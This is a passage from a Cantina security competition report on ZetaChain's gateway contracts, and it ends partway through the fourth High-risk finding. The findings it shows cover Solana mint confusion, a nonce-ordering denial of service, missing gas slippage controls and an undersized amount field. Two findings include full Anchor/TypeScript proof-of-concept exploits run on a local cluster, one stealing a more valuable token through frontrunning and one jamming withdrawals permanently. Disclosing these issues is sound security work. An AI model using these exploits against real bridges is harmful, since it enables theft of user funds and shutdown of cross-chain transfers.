CANTINA

ZetaChain Gateway Contracts

Competition

April 15, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

ZetaChain is an L1 blockchain for chain abstraction, with the objective of building simple, secure, universal apps that span any chain from Ethereum and Cosmos to Bitcoin and beyond.

From Aug 19th to Sep 4th Cantina hosted a competition based on zetachain-protocol. The participants identified a total of **164** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 6
- Medium Risk: 27
- Low Risk: 61
- Gas Optimizations: 0
- Informational: 70

The present report only outlines the **critical**, **high** and **medium** risk issues.

3 Findings

3.1 High Risk

3.1.1 Missing Mint Check on Solana Leads to Wrong Token Being Withdrawn

Submitted by strikeout, also found by LeoQ7, 4gontuk, alexfilippov314, Haxatron and meltedblocks

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: In Solana, there is only a single token contract. Then, the token contract has multiple mints which stores the state of an SPL token. For an Ethereum comparison, this is like if the state of every ERC20 token was in a single contract. The mint is how we differentiate between two different tokens.

Additionally, a given token account is associated with a particular mint. A user must have one (or more) token accounts for a given mint. The `mint` of a transfer is implicitly figured out by checking the two provided token accounts on the transfer. It is of the utmost importance to ensure that the mint being provided (as well as the token accounts) are indeed the expected ones; otherwise, a bogus token can be used on the transfer.

When performing the `withdraw_spl_token` function, the TSS address does NOT need to be the caller - it just needs a valid multisig to use to make the call (which contradicts the comment in lib.rs#L191). This signature is generated by all of the Zeta nodes communicating to create the multisig. Once done, this is uploaded to the Zeta Cosmos chain, effectively making it public. Since the signature is public knowledge once it has been generated by the signing process, an attacker can use this signature to make a specific call by either listening in on the signature signing process or frontrunning the transaction on Solana. The signature checks the chain id, nonce, amount and `to` account key of this when doing the signature. Crucially, this does not verify the mint itself.

On calling the SPL token program, no mint is provided. This is because the mint is calculated within the SPL token transfer program based upon the token accounts provided, which can be found at in processor.rs#L256. In `withdraw_spl_token`, there is no check on the `mint` for the transfer being done in the signed data, besides the `to` address which an attacker can set to their own token account. Additionally, the `from` account (where the tokens are locked at that is controlled by a PDA on the Solana contract) has no validation on the mint either. This leads to a mint confusion issue when performing a withdrawal.

So, given token A having less value than token B, an attacker can do the following to profit:

1. Create a transfer for token A to Solana on another chain.
    - The `to` address should be for a token account for token B owned by the attacker.
2. Frontrun the call to `withdraw_spl_token` token in some way. Either by listening in on the signature generation process or by observing the mempool.
3. Execute the `withdraw_spl_token` function with the generated signature. Most importantly, provide the associated token account (ATA) of the Solana gateway contract for token B. This will transfer token B to the user, even though the transfer should have been for token A.
4. Attacker profits by taking a more valuable token from the Solana contract and breaks the off-chain accounting process of token B.

Proof of Concept: Admittedly, testing with Solana is annoying and isn't as easy as the documentation says. I ended up following the RareSkills guides to get the test environment working. Once the Solana tooling has been installed properly, run `anchor build` and `anchor test` with the following code in order to see the issue in action.

The proof of concept has to mimic listening to the zEVM and doing the signing process so the exploit step isn't very obvious. In the logs of the call it tries to make the issue clear by stating

> Attacker does a transfer of EVIL token from zEVM to Solana but specifies the ATA for USDC instead of EVIL

```
import * as anchor from "@coral-xyz/anchor";
import {Program, web3} from "@coral-xyz/anchor";
import {Gateway} from "../target/types/gateway";
import * as spl from "@solana/spl-token";
import * as memo from "@solana/spl-memo";
```

```
import {randomFillSync} from 'crypto';
import { ec as EC } from 'elliptic';
import { keccak256 } from 'ethereumjs-util';
import { bufferToHex } from 'ethereumjs-util';
import {expect} from 'chai';
import {ecdsaRecover} from 'secp256k1';



const ec = new EC('secp256k1');
// const keyPair = ec.genKeyPair();
// read private key from hex dump
const keyPair = ec.keyFromPrivate('5b81cdf52ba0766983acf8dd0072904733d92afe4dd3499e83e879b43ccb73e8');

describe("some tests", () => {
    // Configure the client to use the local cluster.
    anchor.setProvider(anchor.AnchorProvider.env());
    const conn = anchor.getProvider().connection;
    const gatewayProgram = anchor.workspace.Gateway as Program<Gateway>;
    const wallet = anchor.workspace.Gateway.provider.wallet.payer;

    const evilWallet = anchor.web3.Keypair.generate();

    const mint = anchor.web3.Keypair.generate();
    const evilMint = anchor.web3.Keypair.generate();

    let tokenAccount: spl.Account;
    let evilTokenAccount: spl.Account;
    let wallet_ata: anchor.web3.PublicKey;
    let evil_wallet_ata: anchor.web3.PublicKey;
    let pdaAccount: anchor.web3.PublicKey;
    let pda_ata: spl.Account;
    let evil_ata: spl.Account;
    const message_hash = keccak256(Buffer.from("hello world"));
    const signature = keyPair.sign(message_hash, 'hex');
    const { r, s, recoveryParam } = signature;
    console.log("r", recoveryParam);
    const signatureBuffer = Buffer.concat([
        r.toArrayLike(Buffer, 'be', 32),
        s.toArrayLike(Buffer, 'be', 32),
    ]);
    const recoveredPubkey = ecdsaRecover(signatureBuffer, recoveryParam, message_hash, false);
    console.log("recovered pubkey    ", bufferToHex(Buffer.from(recoveredPubkey)));
    const publicKeyBuffer = Buffer.from(keyPair.getPublic(false, 'hex').slice(2), 'hex');  // Uncompressed
↪   form of public key, remove the '04' prefix
    console.log("generated public key", bufferToHex(publicKeyBuffer));

    const addressBuffer = keccak256(publicKeyBuffer);  // Skip the first byte (format indicator)
    const address = addressBuffer.slice(-20);

    const evilAddress =  Buffer.from(keyPair.getPublic(false, 'hex').slice(2), 'hex')

    console.log("address", bufferToHex(address));
    // console.log("address", address);
    // const tssAddress = [239, 36, 74, 232, 12, 58, 220, 53, 101, 185, 127, 45, 0, 144, 15, 163, 104, 163,
↪   74, 178,];
    const tssAddress = Array.from(address);
    console.log("tss address", tssAddress);

    const chain_id = 111111;
    const chain_id_bn = new anchor.BN(chain_id);

    it("Initializes the program", async () => {
        await gatewayProgram.methods.initialize(tssAddress, chain_id_bn).rpc();

        // repeated initialization should fail
        try {
            await gatewayProgram.methods.initialize(tssAddress,chain_id_bn).rpc();
            throw new Error("Expected error not thrown"); // This line will make the test fail if no error is
↪   thrown
        } catch (err) {
            expect(err).to.be.not.null;
            // console.log("Error message: ", err.message)
        }
    });
```

```
    it("Mint a SPL USDC token", async () => {
        // now deploying a fake USDC SPL Token
        // 1. create a mint account
        const mintRent = await spl.getMinimumBalanceForRentExemptMint(conn);
        const tokenTransaction = new anchor.web3.Transaction();
        tokenTransaction.add(
            anchor.web3.SystemProgram.createAccount({
                fromPubkey: wallet.publicKey,
                newAccountPubkey: mint.publicKey,
                lamports: mintRent,
                space: spl.MINT_SIZE,
                programId: spl.TOKEN_PROGRAM_ID
            }),
            spl.createInitializeMintInstruction(
                mint.publicKey,
                6,
                wallet.publicKey,
                null,
            )
        );
        await anchor.web3.sendAndConfirmTransaction(conn, tokenTransaction, [wallet, mint]);
        console.log("mint account created!", mint.publicKey.toString());

        // 2. create token account to receive mint
        tokenAccount = await spl.getOrCreateAssociatedTokenAccount(
            conn,
            wallet,
            mint.publicKey,
            wallet.publicKey,
        );
        // 3. mint some tokens
        const mintToTransaction = new anchor.web3.Transaction().add(
            spl.createMintToInstruction(
                mint.publicKey,
                tokenAccount.address,
                wallet.publicKey,
                10_000_000,
            )
        );
        await anchor.web3.sendAndConfirmTransaction(anchor.getProvider().connection, mintToTransaction,
↪   [wallet]);
        console.log("Minted 10 USDC to:", tokenAccount.address.toString());
        const account = await spl.getAccount(conn, tokenAccount.address);
        console.log("Account balance:", account.amount.toString());
        console.log("Account owner: ", account.owner.toString());

        // OK; transfer some USDC SPL token to the gateway PDA
        wallet_ata = await spl.getAssociatedTokenAddress(
            mint.publicKey,
            wallet.publicKey,
        );
        console.log(`wallet_ata: ${wallet_ata.toString()}`);
    })

    it("Transfer SOL to wallet 2", async () => {
        const transaction = new anchor.web3.Transaction();
        transaction.add(
            web3.SystemProgram.transfer({
                fromPubkey: wallet.publicKey,
                toPubkey: evilWallet.publicKey,
                lamports: 1_000_000_000,
            })
        );
        await anchor.web3.sendAndConfirmTransaction(conn, transaction, [wallet]);
    });
    it("Mint a SPL EVIL token", async () => {
        // now deploying a fake USDC SPL Token
        // 1. create a mint account
        const mintRent = await spl.getMinimumBalanceForRentExemptMint(conn);
        const tokenTransaction = new anchor.web3.Transaction();
        tokenTransaction.add(
            anchor.web3.SystemProgram.createAccount({
                fromPubkey: evilWallet.publicKey,
                newAccountPubkey: evilMint.publicKey,
                lamports: mintRent,
                space: spl.MINT_SIZE,
```

```
                programId: spl.TOKEN_PROGRAM_ID
            }),
            spl.createInitializeMintInstruction(
                evilMint.publicKey,
                9,
                evilWallet.publicKey,
                null,
            )
        );
        await anchor.web3.sendAndConfirmTransaction(conn, tokenTransaction, [evilWallet, evilMint]);
        console.log("mint account created!", evilMint.publicKey.toString());

        // 2. create token account to receive mint
        evilTokenAccount = await spl.getOrCreateAssociatedTokenAccount(
            conn,
            evilWallet,
            evilMint.publicKey,
            evilWallet.publicKey,
        );
        // 3. mint some tokens
        const mintToTransaction = new anchor.web3.Transaction().add(
            spl.createMintToInstruction(
                evilMint.publicKey,
                evilTokenAccount.address,
                evilWallet.publicKey,
                100_000_000,
            )
        );
        await anchor.web3.sendAndConfirmTransaction(anchor.getProvider().connection, mintToTransaction,
↪   [evilWallet]);
        console.log("Minted 10 EVIL to:", evilTokenAccount.address.toString());
        const account = await spl.getAccount(conn, evilTokenAccount.address);
        console.log("Account balance:", account.amount.toString());
        console.log("Account owner: ", account.owner.toString());

        // OK; transfer some EVIL SPL token to the gateway PDA
        evil_wallet_ata = await spl.getAssociatedTokenAddress(
            evilMint.publicKey,
            evilWallet.publicKey,
        );
        console.log(`wallet_ata: ${wallet_ata.toString()}`);
    })

    it("Deposit 1_000_000 USDC to Gateway", async () => {
        let seeds = [Buffer.from("meta", "utf-8")];
        [pdaAccount] = anchor.web3.PublicKey.findProgramAddressSync(
            seeds,
            gatewayProgram.programId,
        );
        console.log("gateway pda account", pdaAccount.toString());
        pda_ata = await spl.getOrCreateAssociatedTokenAccount(
            conn,
            wallet,
            mint.publicKey,
            pdaAccount,
            true
        );

        console.log("pda_ata address", pda_ata.address.toString());
        const tx = new web3.Transaction();
        const memoInst = memo.createMemoInstruction(
            "this is a memo",
            [wallet.publicKey],
        );
        tx.add(memoInst);
        const depositInst = await gatewayProgram.methods.depositSplToken(
            new anchor.BN(1_000_000), address).accounts(
            {
                from: tokenAccount.address,
                to: pda_ata.address,
            }
        ).instruction();
        tx.add(depositInst);
        const txsig = await anchor.web3.sendAndConfirmTransaction(conn, tx, [wallet]);
```

```
        try {
            await gatewayProgram.methods.depositSplToken(new anchor.BN(1_000_000), address).accounts(
                {
                    from: tokenAccount.address,
                    to: wallet_ata,
                }
            ).rpc();
            throw new Error("Expected error not thrown");
        } catch (err) {
            expect(err).to.be.instanceof(anchor.AnchorError);
            expect(err.message).to.include("DepositToAddressMismatch");
            // console.log("Error message: ", err.message);
        }
    });

    it("Deposit 10_000_000 EVIL to Gateway", async () => {
        let seeds = [Buffer.from("meta", "utf-8")];
        [pdaAccount] = anchor.web3.PublicKey.findProgramAddressSync(
            seeds,
            gatewayProgram.programId,
        );
        console.log("gateway pda account", pdaAccount.toString());
        evil_ata = await spl.getOrCreateAssociatedTokenAccount(
            conn,
            evilWallet,
            evilMint.publicKey,
            pdaAccount,
            true
        );

        console.log("pda_ata address", evil_ata.address.toString());
        const tx = new web3.Transaction();
        const memoInst = memo.createMemoInstruction(
            "this is a memo",
            [evilWallet.publicKey],
        );
        tx.add(memoInst);
        const depositInst = await gatewayProgram.methods.depositSplToken(
            new anchor.BN(10_000_000), address).accounts(
            {
                from: evilTokenAccount.address,
                to: evil_ata.address,
                signer: evilWallet.publicKey
            }
        ).instruction();
        tx.add(depositInst);
        const txsig = await anchor.web3.sendAndConfirmTransaction(conn, tx, [evilWallet]);

        // The 'address' is just the 'data' part of the call. It's not relevent here for the attack being
↪   done...
        try {
            await gatewayProgram.methods.depositSplToken(new anchor.BN(1_000_000), address).accounts(
                {
                    from: evilTokenAccount.address,
                    to: evil_wallet_ata,
                    signer: evilWallet.publicKey
                }
            ).signers([evilWallet]).rpc();
            throw new Error("Expected error not thrown");
        } catch (err) {
            expect(err).to.be.instanceof(anchor.AnchorError);
            expect(err.message).to.include("DepositToAddressMismatch");
            // console.log("Error message: ", err.message);
        }
    });

    it("Withdraw 500_000 USDC from Gateway with ECDSA signature", async () => {

        await spl.getOrCreateAssociatedTokenAccount(
            conn,
            evilWallet,
            mint.publicKey,
            evilWallet.publicKey,
            true
        );
```

```
        const attacker_usdc_ata = await spl.getAssociatedTokenAddress(
            mint.publicKey,
            evilWallet.publicKey,
        );

        const pdaAccountData = await gatewayProgram.account.pda.fetch(pdaAccount);
        console.log(`pda account data: nonce ${pdaAccountData.nonce}`);
        const hexAddr = bufferToHex(Buffer.from(pdaAccountData.tssAddress));
        console.log(`pda account data: tss address ${hexAddr}`);

        ///
        /// Simulating the TSS signing process. This means that a ZRC20 transfer was made to Solana.
        ///
        console.log("Simulating the signing process")
        console.log("This signs the amount, nonce, wallet ATA and chain ID")
        console.log("However, the 'mint' address is not included in here.")
        console.log("Attacker does a transfer of EVIL token from zEVM to Solana");
        console.log("In the transfer, they specify their ATA for USDC and NOT EVIL.");
        const amount = new anchor.BN(500_000);
        const nonce = pdaAccountData.nonce;
        const buffer = Buffer.concat([
            chain_id_bn.toArrayLike(Buffer, 'be', 8),
            nonce.toArrayLike(Buffer, 'be', 8),
            amount.toArrayLike(Buffer, 'be', 8),
            attacker_usdc_ata.toBuffer(),                  // Attacker controlled 'receiver' on the call with
↪  USDC ATA
        ]);
        const message_hash = keccak256(buffer);
        const signature = keyPair.sign(message_hash, 'hex');
        const { r, s, recoveryParam } = signature;
        const signatureBuffer = Buffer.concat([
            r.toArrayLike(Buffer, 'be', 32),
            s.toArrayLike(Buffer, 'be', 32),
        ]);

        console.log("Attacker frontruns the 'withdrawSplToken` call to specify the ATA 'from' for USDC instead
↪  of EVIL.")
        const usdc_before = await spl.getAccount(conn, attacker_usdc_ata);

        console.log("Wallet balance before:", usdc_before.amount)
        await gatewayProgram.methods.withdrawSplToken(amount, Array.from(signatureBuffer),
↪  Number(recoveryParam), Array.from(message_hash), nonce)
            .accounts({
                from: pda_ata.address,
                to: attacker_usdc_ata,
            }).rpc();

        const usdc_after = await spl.getAccount(conn, attacker_usdc_ata);
        console.log("Wallet balance after:", usdc_after.amount)
    });
});
```

Recommendation: The signing process should require the mint (aka token) for the call. ZRC20 tokens should include the address of the native token in them. So, it should be easy to query for this information and add it to the signature.

3.1.2 Ordering Requirement of Nonces Leads to DoS on Solana

Submitted by strikeout, also found by Rhaydden, mxuse, SecurShinchan, bronzepickaxe, ACai, n4nika, zhoocc, zigtur, alexfilippov314, amaron, Haxatron, Vijay and meltedblocks

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The replay protection for Solana is done via having an incrementing `nonce` that is stored in the `pda` account of the contract. Whenever a valid `withdraw` or `withdraw_spl_token` token happens, it must have the *next* nonce. At the end, the nonce is increased, preventing the same CCTX from being processed again.

The nonce is an incrementing value that cannot be skipped. So, if there is a CCTX that cannot be processed for whatever reason then it will be stuck in this state and unable to process future CCTXs.

In Solana, a token account is associated with a particular mint. A user must have a token account on a mint to receive tokens. On the initial transfer from the zEVM, there is no way for the existence of a token account to be tested. As a result, an attacker can provide a bogus recipient token account in order to force the withdrawal to fail every time.

Since this is an ordered nonce where each nonce must follow the next one, this makes the contract unusable. We're not sure on how the off-chain logic for this works but assume that is asynchronously assigns a nonce to get Solana transaction without a backwards nonce setting feature if the transaction fails. Additionally, there is no `UpdateNonce` call on the smart contract either. So, once down, this would take a contract redeployment to fix, stopping the Solana ZetaChain bridge completely until it's fixed.

Proof of Concept: Add the code below to its own file and run as a standalone test with `anchor test`.

```
import * as anchor from "@coral-xyz/anchor";
import {Program, web3} from "@coral-xyz/anchor";
import {Gateway} from "../target/types/gateway";
import * as spl from "@solana/spl-token";
import * as memo from "@solana/spl-memo";
import {randomFillSync} from 'crypto';
import { ec as EC } from 'elliptic';
import { keccak256 } from 'ethereumjs-util';
import { bufferToHex } from 'ethereumjs-util';
import {expect} from 'chai';
import {ecdsaRecover} from 'secp256k1';
const ec = new EC('secp256k1');
// const keyPair = ec.genKeyPair();
// read private key from hex dump
const keyPair = ec.keyFromPrivate('5b81cdf52ba0766983acf8dd0072904733d92afe4dd3499e83e879b43ccb73e8');

describe("some tests", () => {
    // Configure the client to use the local cluster.
    anchor.setProvider(anchor.AnchorProvider.env());
    const conn = anchor.getProvider().connection;
    const gatewayProgram = anchor.workspace.Gateway as Program<Gateway>;
    const wallet = anchor.workspace.Gateway.provider.wallet.payer;
    const mint = anchor.web3.Keypair.generate();
    let tokenAccount: spl.Account;
    let wallet_ata: anchor.web3.PublicKey;
    let pdaAccount: anchor.web3.PublicKey;
    let pda_ata: spl.Account;
    const message_hash = keccak256(Buffer.from("hello world"));
    const signature = keyPair.sign(message_hash, 'hex');
    const { r, s, recoveryParam } = signature;
    console.log("r", recoveryParam);
    const signatureBuffer = Buffer.concat([
        r.toArrayLike(Buffer, 'be', 32),
        s.toArrayLike(Buffer, 'be', 32),
    ]);
    const recoveredPubkey = ecdsaRecover(signatureBuffer, recoveryParam, message_hash, false);
    console.log("recovered pubkey    ", bufferToHex(Buffer.from(recoveredPubkey)));
    const publicKeyBuffer = Buffer.from(keyPair.getPublic(false, 'hex').slice(2), 'hex');  // Uncompressed
↪   form of public key, remove the '04' prefix
    console.log("generated public key", bufferToHex(publicKeyBuffer));

    const addressBuffer = keccak256(publicKeyBuffer);  // Skip the first byte (format indicator)
    const address = addressBuffer.slice(-20);
    console.log("address", bufferToHex(address));
    // console.log("address", address);
    // const tssAddress = [239, 36, 74, 232, 12, 58, 220, 53, 101, 185, 127, 45, 0, 144, 15, 163, 104, 163,
↪   74, 178,];
    const tssAddress = Array.from(address);
    console.log("tss address", tssAddress);

    const chain_id = 111111;
    const chain_id_bn = new anchor.BN(chain_id);

    it("Initializes the program", async () => {
        await gatewayProgram.methods.initialize(tssAddress, chain_id_bn).rpc();

        // repeated initialization should fail
        try {
            await gatewayProgram.methods.initialize(tssAddress,chain_id_bn).rpc();
            throw new Error("Expected error not thrown"); // This line will make the test fail if no error is
↪   thrown
        } catch (err) {
```

```
            expect(err).to.be.not.null;
            // console.log("Error message: ", err.message)
        }
    });

    it("Mint a SPL USDC token", async () => {
        // now deploying a fake USDC SPL Token
        // 1. create a mint account
        const mintRent = await spl.getMinimumBalanceForRentExemptMint(conn);
        const tokenTransaction = new anchor.web3.Transaction();
        tokenTransaction.add(
            anchor.web3.SystemProgram.createAccount({
                fromPubkey: wallet.publicKey,
                newAccountPubkey: mint.publicKey,
                lamports: mintRent,
                space: spl.MINT_SIZE,
                programId: spl.TOKEN_PROGRAM_ID
            }),
            spl.createInitializeMintInstruction(
                mint.publicKey,
                6,
                wallet.publicKey,
                null,
            )
        );
        await anchor.web3.sendAndConfirmTransaction(conn, tokenTransaction, [wallet, mint]);
        console.log("mint account created!", mint.publicKey.toString());

        // 2. create token account to receive mint
        tokenAccount = await spl.getOrCreateAssociatedTokenAccount(
            conn,
            wallet,
            mint.publicKey,
            wallet.publicKey,
        );
        // 3. mint some tokens
        const mintToTransaction = new anchor.web3.Transaction().add(
            spl.createMintToInstruction(
                mint.publicKey,
                tokenAccount.address,
                wallet.publicKey,
                10_000_000,
            )
        );
        await anchor.web3.sendAndConfirmTransaction(anchor.getProvider().connection, mintToTransaction,
↪   [wallet]);
        console.log("Minted 10 USDC to:", tokenAccount.address.toString());
        const account = await spl.getAccount(conn, tokenAccount.address);
        console.log("Account balance:", account.amount.toString());
        console.log("Account owner: ", account.owner.toString());

        // OK; transfer some USDC SPL token to the gateway PDA
        wallet_ata = await spl.getAssociatedTokenAddress(
            mint.publicKey,
            wallet.publicKey,
        );
        console.log(`wallet_ata: ${wallet_ata.toString()}`);
    })

    it("Deposit 1_000_000 USDC to Gateway", async () => {
        let seeds = [Buffer.from("meta", "utf-8")];
        [pdaAccount] = anchor.web3.PublicKey.findProgramAddressSync(
            seeds,
            gatewayProgram.programId,
        );
        console.log("gateway pda account", pdaAccount.toString());
        pda_ata = await spl.getOrCreateAssociatedTokenAccount(
            conn,
            wallet,
            mint.publicKey,
            pdaAccount,
            true
        );
        console.log("pda_ata address", pda_ata.address.toString());
        const tx = new web3.Transaction();
        const memoInst = memo.createMemoInstruction(
```

```
            "this is a memo",
            [wallet.publicKey],
        );
        tx.add(memoInst);
        const depositInst = await gatewayProgram.methods.depositSplToken(
            new anchor.BN(1_000_000), address).accounts(
            {
                from: tokenAccount.address,
                to: pda_ata.address,
            }
        ).instruction();
        tx.add(depositInst);
        const txsig = await anchor.web3.sendAndConfirmTransaction(conn, tx, [wallet]);


        try {
            await gatewayProgram.methods.depositSplToken(new anchor.BN(1_000_000), address).accounts(
                {
                    from: tokenAccount.address,
                    to: wallet_ata,
                }
            ).rpc();
            throw new Error("Expected error not thrown");
        } catch (err) {
            expect(err).to.be.instanceof(anchor.AnchorError);
            expect(err.message).to.include("DepositToAddressMismatch");
            // console.log("Error message: ", err.message);
        }
    });

    it("Withdraw 500_000 USDC from Gateway with ECDSA signature with invalid ATA", async () => {
        const account2 = await spl.getAccount(conn, pda_ata.address);
        expect(account2.amount).to.be.eq(1_000_000n);
        // console.log("B4 withdraw: Account balance:", account2.amount.toString());


        const pdaAccountData = await gatewayProgram.account.pda.fetch(pdaAccount);
        console.log(`pda account data: nonce ${pdaAccountData.nonce}`);
        const hexAddr = bufferToHex(Buffer.from(pdaAccountData.tssAddress));
        console.log(`pda account data: tss address ${hexAddr}`);
        // const message_hash = fromHexString(
        //     "0a1e2723bd7f1996832b7ed7406df8ad975deba1aa04020b5bfc3e6fe70ecc29"
        // );
        // const signature = fromHexString(
        //     "58be181f57b2d56b0c252127c9874a8fbe5ebd04f7632fb3966935a3e9a765807813692cebcbf3416cb1053ad9c8c8
↪  3af471ea828242cca22076dd04ddbcd253"
        // );
        const amount = new anchor.BN(500_000);
        const nonce = pdaAccountData.nonce;

        var modified_wallet_ata = wallet_ata.toBuffer();
        modified_wallet_ata[0] = 0xAA;
        var modified_wallet = new anchor.web3.PublicKey(modified_wallet_ata);
        console.log("Malicious wallet ATA:", modified_wallet_ata);
        console.log("Real wallet ATA:", wallet_ata.toBuffer());

        const buffer = Buffer.concat([
            chain_id_bn.toArrayLike(Buffer, 'be', 8),
            nonce.toArrayLike(Buffer, 'be', 8),
            amount.toArrayLike(Buffer, 'be', 8),
            modified_wallet_ata
        ]);
        const message_hash = keccak256(buffer);
        const signature = keyPair.sign(message_hash, 'hex');
        const { r, s, recoveryParam } = signature;
        const signatureBuffer = Buffer.concat([
            r.toArrayLike(Buffer, 'be', 32),
            s.toArrayLike(Buffer, 'be', 32),
        ]);

        try {
            console.log("Call 'withdrawSplToken' with an invalid account. ")
            await gatewayProgram.methods.withdrawSplToken(amount, Array.from(signatureBuffer),
↪  Number(recoveryParam), Array.from(message_hash), nonce)
            .accounts({
                from: pda_ata.address,
```

```
                to: modified_wallet,
            }).rpc();
        }catch (err){
            console.log("Transfer failed because of invalid account");
        }
    });

    it("Withdraw 500_000 USDC from Gateway with incremented nonce (fails)", async () => {
        const account2 = await spl.getAccount(conn, pda_ata.address);
        expect(account2.amount).to.be.eq(1_000_000n);
        // console.log("B4 withdraw: Account balance:", account2.amount.toString());

        const pdaAccountData = await gatewayProgram.account.pda.fetch(pdaAccount);
        console.log(`pda account data: nonce ${pdaAccountData.nonce}`);
        const hexAddr = bufferToHex(Buffer.from(pdaAccountData.tssAddress));
        console.log(`pda account data: tss address ${hexAddr}`);
        // const message_hash = fromHexString(
        //     "0a1e2723bd7f1996832b7ed7406df8ad975deba1aa04020b5bfc3e6fe70ecc29"
        // );
        // const signature = fromHexString(
        //     "58be181f57b2d56b0c252127c9874a8fbe5ebd04f7632fb3966935a3e9a765807813692cebcbf3416cb1053ad9c8c8
↪  3af471ea828242cca22076dd04ddbcd253"
        // );
        const amount = new anchor.BN(500_000);
        console.log("Increase nonce of the signer like the actual zetachain node software would.")
        const nonce = pdaAccountData.nonce.add(new anchor.BN(1))
        const buffer = Buffer.concat([
            chain_id_bn.toArrayLike(Buffer, 'be', 8),
            nonce.toArrayLike(Buffer, 'be', 8),
            amount.toArrayLike(Buffer, 'be', 8),
            wallet_ata.toBuffer(),
        ]);
        const message_hash = keccak256(buffer);
        const signature = keyPair.sign(message_hash, 'hex');
        const { r, s, recoveryParam } = signature;
        const signatureBuffer = Buffer.concat([
            r.toArrayLike(Buffer, 'be', 32),
            s.toArrayLike(Buffer, 'be', 32),
        ]);

        try {
            console.log("Perform transfer with the mismatched nonce");
            await gatewayProgram.methods.withdrawSplToken(amount, Array.from(signatureBuffer),
↪  Number(recoveryParam), Array.from(message_hash), nonce)
            .accounts({
                from: pda_ata.address,
                to: wallet_ata,
            }).rpc();
        }
        catch(err){
            console.log("Fails with a 'NonceMismatch' error because the previous CCTX could not go through.")
            //console.log(err);
        }

    });
});
```

Recommendation: Use a different form of nonce deduplication. For instance, having an account per nonce and checking that if the account exists to determine if the CCTX has already been processed. By doing this, it allows CCTXs to come in out of order (or not at all) and it doesn't affect the liveliness of the network. This is how Wormhole does their replay protection.

Another mechanism would be keeping a buffer to keep track of recent nonces, like Layer Zero Solana does. If the nonce provided is outside the range of the smallest nonce in the list, then it doesn't get processed. Additionally, when a new nonce is processed, the next expected nonce that hasn't been processed is found. Both of these together ensure that previously processed nonces can be processed but they can't be processed more than once and it's much better on storage.

3.1.3 When user withdraw ZETA on ZEVM, gas slippage cannot be set

Submitted by p0wd3r, also found by amaron and Udsen

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: In `GatewayZEVM`, users can withdraw ZETA and make calls through `withdraw` and `withdrawAndCall`.

```
function withdraw(
    bytes memory receiver,
    uint256 amount,
    uint256 chainId,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (amount == 0) revert InsufficientZetaAmount();

    _transferZETA(amount, FUNGIBLE_MODULE_ADDRESS);
    emit Withdrawn(msg.sender, chainId, receiver, address(zetaToken), amount, 0, 0, "", 0, revertOptions);
}
```

```
function withdrawAndCall(
    bytes memory receiver,
    uint256 amount,
    uint256 chainId,
    bytes calldata message,
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (amount == 0) revert InsufficientZetaAmount();

    _transferZETA(amount, FUNGIBLE_MODULE_ADDRESS);

    emit Withdrawn(msg.sender, chainId, receiver, address(zetaToken), amount, 0, 0, message, 0, revertOptions);
}
```

There is no need to pay `gasFee` first like withdrawing other ZRC20 tokens in GatewayZEVM.sol#L181.

Regarding this design, the developer's response to me was as follows:

> @project Why doesn't external calling via transfer ZETA need to pay fees like calling via call? Additionally, why doesn't withdraw ZETA need to pay gas fees?
>
> Yes we should add comment on this. The protocol will automatically reduce the amount in the crosschain-tx (this is not represented at the smart contract level), swap the ZETA for the gas tokens of the external chain with a in-protocol Uniswap pool and burn the tokens to pay for the fees.

Meaning that part of the withdrawn ZETA will be used to pay the corresponding fee, the problem here is that both the gas price and the swap price are dynamically changing, users should be allowed to set the slippage control parameter like a regular swap, to avoid paying at an excessively high price.

For example:

1. Alice performs a withdraw to transfer ZETA from ZetaChain to Ethereum, where the amount is 10 ZETA.
2. Alice expects that 1 ZETA will be used as the `gasFee` required for the withdrawal.
3. However, when Alice's transaction is executed, the gas price has increased, and the exchange rate between ZETA and ETH has decreased, requiring 2 ZETA to complete the operation.

4. Since the contract does not have a parameter for Alice to set her expected amount to be received, Alice ultimately receives 8 ZETA instead of the expected 9 ZETA.

Additionally, in `withdrawAndCall`, there is no gasLimit set, so if the receiver consumes more gas than expected, the caller cannot avoid it and can only be charged more fees.

Recommendation: Pay gas first same as other functions and let user set the most ZETA they want to pay as fee.

3.1.4 `RevertContext` uses a `uint64` for an amount which is not sufficient.

Submitted by 0xanmol, also found by yttriumzz, strikeout, alexfilippov314, Slavcheww and Al-Qa-qa

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: `RevertContext` is used in the case where the protocol needs to call the `onRevert` hook on the user-specified address if the transaction reverts in the destination chain when doing a CCTX.

```
    function revertWithERC20(
    address token,
    address to,
    uint256 amount,
    bytes calldata data,
    RevertContext calldata revertContext
) external onlyRole(ASSET_HANDLER_ROLE) whenNotPaused nonReentrant {
    if (amount == 0) revert InsufficientERC20Amount();
